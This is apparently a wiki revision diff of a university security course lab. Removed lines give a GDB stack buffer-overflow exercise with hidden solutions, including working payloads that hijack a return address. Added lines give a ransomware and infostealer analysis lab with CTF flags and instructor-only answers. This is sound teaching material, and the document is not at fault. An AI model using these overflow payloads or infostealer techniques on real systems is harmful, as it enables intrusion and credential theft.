- | gcc buffovf.c -o buffovf -fno-stack-protector -m32 -g | ||
- | </code> | ||
- | You may need to install ''libc6-dev-i386'' for 64-bit systems. | + | Ransomware is a type of malware that encrypts documents and files on your computer, demanding a ransom to obtain a decryption key or program. In our case, the entire content of the ''%%very_secret_documents%%'' folder on your Desktop has been encrypted. |
- | === 01. Run, break, step === | + | But is there any way you can recover those files? Since we presume the attacker has a decryption key for your files, that means the ransomware must communicate in some way. Try and use Wireshark to see if any traffic seems out of the ordinary. |
- | Run the program using GDB, setting the argument "AAA". Set a breakpoint at the beginning of the ''main'' function. Continue execution until you hit the breakpoint. Try to reach the beginning of the ''copy'' function without setting another breakpoint. | ||
- | <note tip>Hint: use step over and step into.</note> | + | <note> |
+ | **FLAG 3 [20p]** | ||
- | After solving this exercise, don't close gdb. | + | Try and find the decryption key. |
+ | </note> | ||
- | <solution -hidden> | + | <note> |
- | <code> | + | **FLAG 4 [10p]** |
- | gdb-peda$ set args AAA | + | |
- | gdb-peda$ b main | + | |
- | Breakpoint 1 at 0x8048483: file buffovf.c, line 16. | + | |
- | gdb-peda$ r | + | |
- | Starting program: /home/veronica/work/isc/lab6/buffovf AAA | + | |
- | (...) | + | |
- | Breakpoint 1, main (argc=2, argv=0xffffcff4) at buffovf.c:16 | + | |
- | 26 char buf[] = "hey"; | + | |
- | (...) | + | |
- | gdb-peda$ n | + | |
- | 28 printf("%s, %s\n", buf, argv[1]); | + | |
- | (...) | + | |
- | gdb-peda$ n | + | |
- | hey, AAA | + | |
- | 29 copy(argv[1]); | + | |
- | (...) | + | |
- | </code> | + | |
- | </solution> | + | |
- | === 02. Printing stuff === | + | Decrypt the files, maybe they contained a flag. You can use the provided ''%%decryptor.exe%%'' (on your Desktop), or you can challenge yourself and try to decrypt them manually (CyberChef can be of great help here; assume the encryption is a well-known one). |
+ | </note> | ||
- | Remove the existing breakpoint and set a new one at the beginning of the ''copy'' function. Run again the program and continue execution until you hit the breakpoint. Print the value and the address of ''name''. Print the value of it after ''gets(name)'' is executed. | + | <note tip> |
+ | You can also use any of the sandboxes you used at the first exercise and see what useful information they can provide. | ||
+ | </note> | ||
- | <solution -hidden> | + | <ifauth @isc> |
- | <code> | + | <hidden> |
- | gdb-peda$ del 1 | + | Cheia e trimisa ca DNS request (hex-encoded). |
- | gdb-peda$ b copy | + | |
- | gdb-peda$ r | + | |
- | (...) | + | |
- | Breakpoint 2 at 0x804845a: file buffovf.c, line 16. | + | |
- | gdb-peda p name | + | |
- | $1 = "@\331\377\367e\233\343\367x\205\004\b" | + | |
- | (gdb) p &name | + | |
- | $2 = (char (*)[12]) 0xffffd564 | + | |
- | gdb-peda$ n (x9) | + | |
- | (...) | + | |
- | Legend: code, data, rodata, value | + | |
- | 0x08048507 17 gets(name); | + | |
- | gdb-peda$ | + | |
- | BBB | + | |
- | (...) | + | |
- | gdb-peda$ p name | + | |
- | $4 = "bbb\000e\233\343\367x\205\004\b" | + | |
- | </code> | + | |
- | </solution> | + | |
- | === 03. ASLR === | ||
- | |||
- | Start the execution again (do not exit GDB) and print the address of ''buf'' from the main function. What do you notice? Check in another tab if ASLR is enabled on your PC. What happens and how can you fix it? | ||
- | |||
- | <note tip>Hint: [[http://visualgdb.com/gdbreference/commands/set_disable-randomization]]</note> | ||
- | |||
- | <solution -hidden> | ||
<code> | <code> | ||
- | gdb-peda$ s | + | .\decryptor.exe $hex_key .\very_important_documents |
- | gdb-peda$ show disable-randomization | + | |
- | Disabling randomization of debuggee's virtual address space is on. | + | |
- | gdb-peda$ p &buf | + | |
- | $5 = (char (*)[4]) 0xfff1d54c | + | |
- | gdb-peda$ r | + | |
- | (...) | + | |
- | gdb-peda$ p &buf | + | |
- | $6 = (char (*)[4]) 0xfff1d54c | + | |
- | gdb-peda$ set disable-randomization off | + | |
- | gdb-peda$ p &buf | + | |
- | $5 = (char (*)[4]) 0xfff1d54c | + | |
- | gdb-peda$ r | + | |
- | (...) | + | |
- | gdb-peda$ p &buf | + | |
- | $6 = (char (*)[4]) 0xfff8fecc | + | |
</code> | </code> | ||
- | </solution> | ||
- | === 04. Address investigation === | + | Flag-ul din documente e sub trollface-ul din documentul ''%%subiecte examen ISC.docx%%'' |
+ | </hidden> | ||
+ | </ifauth> | ||
- | Restart gdb and run until the beginning of the ''copy'' function using ''next'' and ''step'' accordingly. Display stack info (''bt'', ''info frame''). At what address is ''name'' located? At what address is the saved return address located? How many bytes of input do you need in order to overwrite the return address? | + | ===== 04. Infostealers ===== |
- | <solution -hidden> | + | As the name suggests, this type of malware steals information from your system. Usually, they steal browser data, since it can contain: |
- | <code> | + | |
- | (gdb) info frame | + | |
- | Stack level 0, frame at 0xffffcf20: | + | |
- | eip = 0x804845a in copy (buffovf.c:12); saved eip = 0x80484b4 | + | |
- | called by frame at 0xffffcf60 | + | |
- | source language c. | + | |
- | Arglist at 0xffffcf18, args: arg=0xffffd20b "aaa" | + | |
- | Locals at 0xffffcf18, Previous frame's sp is 0xffffcf20 | + | |
- | Saved registers: | + | |
- | ebp at 0xffffcf18, eip at 0xffffcf1c | + | |
- | (gdb) bt | + | |
- | #0 copy (arg=0xffffd20b "aaa") at buffovf.c:12 | + | |
- | #1 0x080484b4 in main (argc=2, argv=0xffffcff4) at buffovf.c:20 | + | |
- | (gdb) p 0xffffd56c-0xffffd554 | + | |
- | $6 = 24 | + | |
- | </code> | + | |
- | </solution> | + | |
- | === 05. Buffer overflow === | + | * stored passwords |
+ | * saved credit cards | ||
+ | * valid cookies (they can be used for [[https://owasp.org/www-community/attacks/Session_hijacking_attack|session hijacking]]) | ||
- | We want to overflow the buffer ''name'' from the copy() function. Run the program and provide an input so that the program crashes. | + | **As before, run the provided ''%%infostealer.exe%%'' from your lab assistant (or the backup one)** |
- | <note tip> | ||
- | You can use ''%%gdb$ run <program args> < <(python3 -c 'print("A" * 30)')%%'' for stdin redirection directly within GDB! ;) | ||
- | WARNING: DokuWiki replaces ''"'' with quote-like UTF-8 character unrecognized by bash! | ||
- | </note> | ||
- | <note warning> | ||
- | Some python3 installations (especially on Ubuntu) use a default UTF-8 encoding and auto-corrects any unknown binary string to a valid sequence. | ||
- | To fix this, use binary strings: | + | Seemingly nothing happens (except that your browser might close on you), but let us take a look at what files are accessed by ''%%infostealer.exe%%''. We can use the tool ''%%procmon64%%'' from the [[https://learn.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite|Sysinternals Suite]] to analyze some of the runtime behavior of a program, including accessed files and network activity. |
- | '' import sys; sys.stdout.buffer.write(b"AAAAA\x90\x80\x70\x60")'' | + | |
- | </note> | + | |
- | <solution -hidden> | + | <note> |
- | <code> | + | **FLAG 5 [30p]** |
- | student@host$ python -c "print 28 * 'A'" | ./buffovf AAA | + | |
- | hey, AAA | + | |
- | what's ur last name? | + | |
- | bye | + | |
- | Segmentation fault (core dumped) | + | |
- | </code> | + | |
- | </solution> | + | |
- | === 06. Call the ''wanted'' function === | + | Find what information has been stolen from you. There’s a flag in there. |
- | + | ||
- | We want to create an attack which invokes the ''wanted'' function. What is the address of this function? Adjust the input so that the return address is overwritten with the address of the ''wanted'' function. | + | |
- | + | ||
- | + | ||
- | <note tip> | + | |
- | Use //objdump -d -M intel buffovf// to list all the addresses from the binary. Look for the address of the ''wanted'' function. | + | |
</note> | </note> | ||
- | You can see that when using ''objdump'' the addresses look weird (short): | ||
- | |||
- | <code> | ||
- | 000005fd <wanted>: | ||
- | 5fd: 55 push ebp | ||
- | 5fe: 89 e5 mov ebp,esp | ||
- | 600: 53 push ebx | ||
- | </code> | ||
- | They aren't actually real addresses, they are offsets counting the number of bytes from the beginning of the file. This happens because the program was compiled as PIC (position independent code). More details can be found [[https://codywu2010.wordpress.com/2014/11/29/about-elf-pie-pic-and-else/|here]]. Recompile the program without PIC and PIE using ''-fno-pic -no-pie'' options for gcc. | + | Use ''%%procmon64%%'' to look for accessed files and network activity. By default ''%%procmon64%%'' shows what all current processes are doing. Try and filter for our process (look at what options ''%%procmon64%%'' offers you at the top of the window). |
- | + | ||
- | <code> | + | |
- | 080484b6 <wanted>: | + | |
- | 80484b6: 55 push ebp | + | |
- | 80484b7: 89 e5 mov ebp,esp | + | |
- | 80484b9: 83 ec 08 sub esp,0x8 | + | |
- | </code> | + | |
<note tip> | <note tip> | ||
- | Use //python -c 'print("A" * NR + "\xGH\xEF\xCD\xAB")'// to generate the payload for calling the function with address 0xABCDEFGH. You have to find the value of NR. | + | **You need to run the binary again after setting up your filters!** |
</note> | </note> | ||
- | <solution -hidden> | + | Also try to have a look at the files that are managed by Chrome and check out the links at the end of the lab if you want to better understand how he passwords are stored. You also have a tool to explore SQLite databases installed already. |
- | <code> | + | |
- | student@host$ objdump -d -M intel buffovf | grep wanted | + | |
- | 080484b6 <wanted>: | + | |
- | 80484c3: 75 12 jne 80484d7 <wanted+0x21> | + | |
- | 80484d5: eb 10 jmp 80484e7 <wanted+0x31> | + | |
- | student@host$ python -c "print(24 * 'A' + '\xb6\x84\x04\x08')" | ./buffovf AAAA | + | |
- | hey, AAAA | + | |
- | what's ur last name? | + | |
- | bye | + | |
- | at least you tried | + | |
- | Segmentation fat (core dumped) | + | |
- | </code> | + | |
- | </solution> | + | |
- | === 07. Calling ''wanted'' function with the correct arguments === | + | <spoiler Hint> |
- | The ''wanted'' function takes an argument. Adjust the previous payload so that when calling ''wanted'', the message ''well done, you're cool!'' is displayed. | + | If there is some network activity that interests you, you can use Wireshark. It has some awesome features, like extracting objects from network requests (//wink wink//). |
+ | </spoiler> | ||
- | <solution -hidden> | ||
- | <code> | ||
- | student@host$ python -c "print(24 * 'A' + '\xb6\x84\x04\x08' + 4 * 'B' + '\xbe\xba\xfe\xca')"| ./buffovf AAAA | ||
- | hey, AAAA | ||
- | what's ur last name? | ||
- | bye | ||
- | well done, you're cool! | ||
- | Segmentation fat (core dumped) | ||
- | </code> | ||
- | </solution> | ||
- | |||
- | === 08. Graceful exit === | ||
- | |||
- | We can see that even if we call ''wanted'' with the correct arguments, the program still crashes. Let's remove any trace that we've been there. Adjust the previous payload so that the program exits without a segmentation fault. | ||
<note tip> | <note tip> | ||
- | Can you call another function after ''wanted''? What would be a great function to call? Where can you get its address from? After finding out the function, look for its address using objdump, you might find something there. | + | Make use of the sandboxes, maybe they also provide some useful information. See how it compares to what you find by manually analyzing the binary. |
</note> | </note> | ||
- | <solution -hidden> | + | <ifauth @isc> |
- | We use ''exit@plt'' to exit with the argument ''0'' the program gracefully. | + | |
- | <code> | + | |
- | student@host:~$ objdump -d -M intel buffovf | grep exit | + | |
- | 08048370 <exit@plt>: | + | |
- | 8048585: e8 e6 fd ff ff call 8048370 <exit@plt> | + | |
- | student@host:~$ python -c "print(24 * 'A' + '\xb6\x84\x04\x08' + '\x70\x83\x04\x08' + '\xbe\xba\xfe\xca' + '\x00\x00\x00\x00'") | ./buffovf AAAA | + | |
- | hey, AAAA | + | |
- | what's ur last name? | + | |
- | bye | + | |
- | well done, you're cool! | + | |
- | student@host:~$ | + | |
- | </code> | + | |
- | </solution> | + | |
<hidden> | <hidden> | ||
- | === 09. Writing memory === | + | Arhiva cu cookie-urile si parolele de la Chrome e trimisa ca POST request. (Wireshark > File > Export objects > HTTP) |
- | We want to use our new GDB skills to make the application print two times ''Hello!'', even if we run it having ''AAA'' as argument. | + | </hidden> |
- | - Find out the address of the buffer containing the ''Hello!'' string. | + | </ifauth> |
- | - Continue the execution until the beginning of the ''copy'' function, disassemble the code and go step by step through the assembly instructions until the ''call'' instruction (do not execute the call). | + | |
- | - Print the value of the stack pointer. Dump 2 values on the stack. What are the two values representing? | + | |
- | - Overwrite the second value on the stack with the address of the buffer containing the ''Hello!'' string and then continue the execution. What happened? | + | |
- | <solution -hidden> | + | ===== 05. [Bonus] Anti-reversing techniques ===== |
- | <code> | + | |
- | (gdb) b main | + | |
- | Breakpoint 2 at 0x8048483: file buffovf.c, line 16. | + | |
- | (gdb) r | + | |
- | The program being debugged has been started already. | + | |
- | Start it from the beginning? (y or n) y | + | |
- | Starting program: /home/veronica/work/isc/lab6/buffovf AAA | + | |
- | Breakpoint 2, main (argc=2, argv=0xffffcff4) at buffovf.c:16 | + | If you were brave enough to try and decompile the executables, you might have noticed they look like gibberish. If not, use Ghidra to have a look at one of the executables. |
- | 16 char buf[] = "Hello!"; | + | |
- | (gdb) p &buf | + | |
- | $10 = (char (*)[7]) 0xffffcf39 | + | |
- | (gdb) c | + | |
- | Continuing. | + | |
- | Hello! | + | |
- | Breakpoint 1, copy (arg=0xffffd20b "AAA") at buffovf.c:12 | + | The executables are missing any symbols and the code seems very hard to understand. That is because they are packed using [[https://upx.github.io/|UPX]]. While UPX is an executable packer, meant to be used for executable compression, it is also commonly used to make reverse engineering harder. |
- | 12 strcpy(buf, arg); | + | |
- | (gdb) disass | + | |
- | Dump of assembler code for function copy: | + | |
- | 0x08048454 <+0>: push %ebp | + | |
- | 0x08048455 <+1>: mov %esp,%ebp | + | |
- | 0x08048457 <+3>: sub $0x18,%esp | + | |
- | => 0x0804845a <+6>: sub $0x8,%esp | + | |
- | 0x0804845d <+9>: pushl 0x8(%ebp) | + | |
- | 0x08048460 <+12>: lea -0xd(%ebp),%eax | + | |
- | 0x08048463 <+15>: push %eax | + | |
- | 0x08048464 <+16>: call 0x8048300 <strcpy@plt> | + | |
- | 0x08048469 <+21>: add $0x10,%esp | + | |
- | 0x0804846c <+24>: nop | + | |
- | 0x0804846d <+25>: leave | + | |
- | 0x0804846e <+26>: ret | + | |
- | End of assembler dump. | + | |
- | (gdb) si | + | |
- | 0x0804845d 12 strcpy(buf, arg); | + | |
- | (gdb) si | + | |
- | 0x08048460 12 strcpy(buf, arg); | + | |
- | (gdb) si | + | |
- | 0x08048463 12 strcpy(buf, arg); | + | |
- | (gdb) si | + | |
- | 0x08048464 12 strcpy(buf, arg); | + | |
- | (gdb) disass | + | |
- | Dump of assembler code for function copy: | + | |
- | 0x08048454 <+0>: push %ebp | + | |
- | 0x08048455 <+1>: mov %esp,%ebp | + | |
- | 0x08048457 <+3>: sub $0x18,%esp | + | |
- | 0x0804845a <+6>: sub $0x8,%esp | + | |
- | 0x0804845d <+9>: pushl 0x8(%ebp) | + | |
- | 0x08048460 <+12>: lea -0xd(%ebp),%eax | + | |
- | 0x08048463 <+15>: push %eax | + | |
- | => 0x08048464 <+16>: call 0x8048300 <strcpy@plt> | + | |
- | 0x08048469 <+21>: add $0x10,%esp | + | |
- | 0x0804846c <+24>: nop | + | |
- | 0x0804846d <+25>: leave | + | |
- | 0x0804846e <+26>: ret | + | |
- | End of assembler dump. | + | |
- | (gdb) p $esp | + | |
- | $8 = (void *) 0xffffcef0 | + | |
- | (gdb) x/2xw 0xffffcef0 | + | |
- | 0xffffcef0: 0xffffcf0b 0xffffd20b | + | |
- | (gdb) x/s 0xffffd20b | + | |
- | 0xffffd20b: "AAA" | + | |
- | (gdb) set {int}0xffffcef4=0xffffcf39 | + | |
- | (gdb) x/2xw 0xffffcef0 | + | |
- | 0xffffcef0: 0xffffcf0b 0xffffcf39 | + | |
- | (gdb) c | + | |
- | Continuing. | + | |
- | Hello! | + | |
- | [Inferior 1 (process 2906) exited normally] | + | |
- | </code> | + | |
- | </solution> | + | |
- | </hidden> | + | |
- | === 09. Feedback === | + | The good news is that you can also unpack it using UPX. It is already installed in your VM, so give it a try. |
- | Please take a minute to fill in the [[https://forms.gle/5Lu1mFa63zptk2ox9|feedback form]] for this lab. | + | After unpacking it, try to decompile it again using Ghidra. Does it look a little bit more readable? |
+ | It is still not as readable as if you were expecting if you ever looked at a C binary decompiled, and that is because our executables were written in Go. Another technique that makes reverse engineering harder is the use of modern languages (Go, Rust, Zig, Nim), as they each come with their own (complex) runtime. | ||
+ | ===== Further reading ===== | ||
+ | * https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html | ||
+ | * https://superuser.com/questions/718383/where-are-google-chrome-passwords-stored-in-windows | ||
+ | * https://superuser.com/questions/146742/how-does-google-chrome-store-passwords | ||
+ | * https://www.insecurity.be/blog/2020/12/24/dpapi-in-depth-with-tooling-standalone-dpapi/ |